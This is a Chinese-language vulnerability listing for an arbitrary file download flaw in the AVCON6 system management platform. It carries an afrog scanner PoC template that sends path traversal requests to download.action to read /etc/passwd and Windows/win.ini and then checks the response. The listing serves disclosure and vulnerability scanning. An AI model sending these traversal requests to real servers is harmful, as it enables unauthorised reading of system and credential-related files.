avcon6-download.action-download-file-read: AVCON6 系统管理平台 download.action 任意文件下载漏洞

日期: 2025-09-01 | 影响软件: avcon6 | POC: 已公开

漏洞描述

AVCON6 系统管理平台 download.action 存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器任意文件 app="AVCON-6"

PoC代码[已公开]

id: avcon6-download.action-download-file-read

info:
  name: AVCON6 系统管理平台 download.action 任意文件下载漏洞
  author: daffainfo
  severity: high
  verified: false
  description: AVCON6 系统管理平台 download.action 存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器任意文件 app="AVCON-6"
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/AVCON6%20%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%20download.action%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md

rules:
    linux0:
        request:
            method: GET
            path: /download.action?filename=../../../../../../etc/passwd
        expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
    windows0:
        request:
            method: GET
            path: /download.action?filename=../../../../../../Windows/win.ini
        expression: response.status == 200 && response.body.bcontains(b"bit app support") && response.body.bcontains(b"fonts") && response.body.bcontains(b"extensions")
expression: linux0() || windows0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/avcon6-download.action-download-file-read.yaml

相关漏洞推荐